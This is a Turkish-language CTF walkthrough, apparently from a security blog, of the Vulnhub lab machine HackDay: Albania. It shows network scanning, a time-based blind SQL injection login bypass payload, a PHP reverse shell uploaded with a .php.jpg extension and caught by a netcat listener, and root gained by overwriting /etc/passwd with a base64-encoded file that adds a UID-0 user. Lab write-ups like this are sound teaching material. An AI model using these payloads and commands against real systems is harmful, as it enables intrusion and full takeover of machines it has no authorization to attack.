Register Now

Login

Lost Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Login

Register Now

Canyoupwn.me ~

TR | HackDay:Albania Walkthrough

Merhaba arkadaşlar bu yazımızda elimden geldiğince sizlere Vulnhub üzerinden HackDay adlı vulnerable makinede root olmaya çalışacağım.

Makinenin adresi : https://www.vulnhub.com/entry/hackday-albania,167/

Direk başlayalım isterseniz.

Her zaman başlangıç noktasına ihtiyacımız vardır bu yüzden lokal ağımıza bir nmap taraması atıp HackDay adlı makinanın adresini bilmemiz gerekiyor.

nmap -sT -sV 192.168.1.1/24

Yukarıda ki komutu kullanarak tarama gerçekleştirdim.

Gördüğünüz gibi 8008 portunda http servisi çalışıyormuş makinamızın.Hemen giriyoruz.

Translate sağolsun bana güzel bir ipucu verdi.Web Crawler yaparken biz genelde ilk nereye bakarız ? robots.txt değil mi ? Çünkü var ise orası bir çok bilgi barındırabilir.

robots.txt ye girdiğimde şöyle bir ekran ile karşılaştım.

Bütün linkleri elle gezebilirsiniz.Hepsinde bir dinazor arkadaşımız bize mesaj veriyor.Ama translate bana bu konuda yardımcı olmadı.
Bende şöyle bir komutlar zinciri uygulamak zorunda kaldım.

curl http://192.168.1.22/robots.txt | awk {'print $2'} > urlist.txt

Bu arkadaş ne yapıyor bunu açıklamak gerekirse.Robots.txt nin içeriğini çekiyor daha sonra awk ( reis ) sayesinde çektiği metinde ki 2.sütunu alıyor ve bunu urlist.txt içerisine yazdırıyor.

Yeterli mi ? Tabi ki de hayır.2 Ayrı script olarak yaptım ama isterseniz birleştirebilirsiniz de siz.
2.scriptim şu şekilde

cat urlist.txt | awk '{print "http://192.168.1.22"$0}' >> clearurl.txt

Bu komutta farklı olarak printin içine adresimizin ön ekini verdik.Çektiğimiz klasörler url in sonuna eklenecek ve bize bir url çıktısı verecek.

Şimdi işin önemli kısmına gelelim isterseniz.

Bir bash script hazırladım bu aşamada kodu direk olarak kopyalamıyorum buraya ( çünkü hatalı ) ne yaptığını anlatayım.

a diye bir integer değişken tanımlıyoruz.Daha sonra da art adında artış miktarını belirleyen bir değişken tanımladık.

cat clearurl.txt ile clearurl.txt yi okuyup bunu while döngüsüne atıyoruz.
While döngüsünde ise biz bu text dosyasını satır satır okuyoruz ve altına da döngü miktarını yazıyoruz ki birşey bulursak kaçıncı linkte olduğunu bulalım değil mi ? Hoş siz daha kolay bir şekilde oraya echo $line yazarak linki direk olarak kopyalayabilirsiniz.

Yukarıda ki ekran resminden anlayacağınız gibi aralarında farklı olan bir title a denk geldik.

Oh harika bir banka sayfası bizden username ve password istiyor.Burada imdadımıza sqlmap yetişecek.Ben basit login bypass yöntemlerini denedim fakat başarılı olamadım.

Mysql olduğunu öğrendik.( Şaşırdık mı ? )

sqlmap -u "url" --data="username=admin&password=admin --level=5 risk=3 --dbs

komutunu çalıştırıyorum.

Gördüğünüz gibi blind sql injection ve time-based blind buldu.Verdiği payloadları denediğimde giriş sağlayamadım ve biraz araştırdıktan sonra ( walkthroughları inceledim itiraf ediyorum. )

username kısmında aşağıda ki komutu girdiğimizde 5 saniye sonra login olduğumuzu görüyoruz.Zaten vulnerable kolonu username kısmıydı.

admin'RLIKE SLEEP(5)-- DBgy

Login olduk…

Hemen inputlarımızı aramaya başladık burada Contact Support formu bulunuyor ve browse buttonu var.Gözlerinizde çıkan reverse shell işaretlerini görür gibiyim.

Sayfaya jpg yüklediğinizde direkt olarak gösteriyor.Direkt olarak php dosyası yüklerseniz hata veriyor fakat yinede sol tarafta gösteriyor.Tıkladığınızda ise reverse shell çalışmıyor.

Ben hemen şuradan php reverse shell indirdim.

Php Reverse Shell

uzantısının sonunu .jpg yaptım.

Yani dosya ismim : reverse_shell.php.jpg oldu.

Dosyamızı attık şimdide kendi terminalimizden netcat ile dinlemeye alalım portu.

PHP shell içinde ki port ve ip bilgisini değiştirmeyi unutmayın.

nc -lnvp 3333

Linkimize tıkladım ve çalıştı !

Şimdi buradan sonrası önemli olan kısım.

Ben hemen web sitesinin yayınlanma olasılığının çok olduğu klasöre gittim.

Orası da /var/www

içerisinde config.php diye bir dosya gördüm ve cat ile dosyayı okudum.

Database bilgileri elimizde ama yeter mi ? Evet , pardon hayır.

ls -la /etc/ | grep passwd

yaptığınızda passwd dosyasına yazabileceğinizi gördünüz.

Ben bütün passwd dosyasını kendi makinama indirip daha sonra düzenleyip base64’ünü aldım.

Ortaya şu şekilde bir görüntü çıktı:

echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtdGltZXN5bmM6eDoxMDA6MTAyOnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb24sLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzdGVtZC1uZXR3b3JrOng6MTAxOjEwMzpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQvbmV0aWY6L2Jpbi9mYWxzZQpzeXN0ZW1kLXJlc29sdmU6eDoxMDI6MTA0OnN5c3RlbWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kL3Jlc29sdmU6L2Jpbi9mYWxzZQpzeXN0ZW1kLWJ1cy1wcm94eTp4OjEwMzoxMDU6c3lzdGVtZCBCdXMgUHJveHksLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzbG9nOng6MTA0OjEwODo6L2hvbWUvc3lzbG9nOi9iaW4vZmFsc2UKX2FwdDp4OjEwNTo2NTUzNDo6L25vbmV4aXN0ZW50Oi9iaW4vZmFsc2UKbHhkOng6MTA2OjY1NTM0OjovdmFyL2xpYi9seGQvOi9iaW4vZmFsc2UKbXlzcWw6eDoxMDc6MTExOk15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQptZXNzYWdlYnVzOng6MTA4OjExMjo6L3Zhci9ydW4vZGJ1czovYmluL2ZhbHNlCnV1aWRkOng6MTA5OjExMzo6L3J1bi91dWlkZDovYmluL2ZhbHNlCmRuc21hc3E6eDoxMTA6NjU1MzQ6ZG5zbWFzcSwsLDovdmFyL2xpYi9taXNjOi9iaW4vZmFsc2UKc3NoZDp4OjExMTo2NTUzNDo6L3Zhci9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgp0YXZpc286eDoxMDAwOjEwMDA6VGF2aXNvLCwsOi9ob21lL3RhdmlzbzovYmluL2Jhc2gKZW5lczokMSRQZDZXYW4xMCQ2Z3dWczVtOVE2N0hrVkovQ0FVbHUwOjA6MDplbmVzOi9yb290Oi9iaW4vYmFzaAo=" | base64 -d > /etc/passwd

enes adında bir kullanıcı oluşturdum ve bunu passwd dosyasına yazdırdım.

Yaptığım denemeleri arka planda görebilirsiniz.

Herşey harika değil mi ? Hayat bu kadar kolay olmamalı ?

su – enes dediğimizde bize hata verdi.

su: must be run from a terminal

Bu ne demek ?

Bizim bir tty shell spawn etmemiz lazım bu gereklilik en başta aklımıza gelmeliydi aslında.

Neyse ben bunun için yardımcı bir cheat sheet den yardım aldım.

Reverse Shell Cheat-Sheet

 python3 -c 'import pty; pty.spawn("/bin/bash")'

Bize gerekli terminali sağlayacaktır.

Artık su – enes yaparak şifremizi girip root olabiliriz.

Geriye de sadece flagimizi aramak kaldı.

Bunun içinde

find / -name "*flag*" 2>/dev/null

Yapabiliriz.Burada 2>/dev/null hatalar çıkarsa eğer null uzay çöplüğüne gönder bize gösterme demek.

Burada Tebrikler şimdi raporu gönderin gibi birşey yazıyor.

Altında ki md5 sizinde dikkatinizi çekti değil mi ? Evet benimde çekti

Çokta önemli birşey değilmiş.Eğer önemliyse bildiriniz.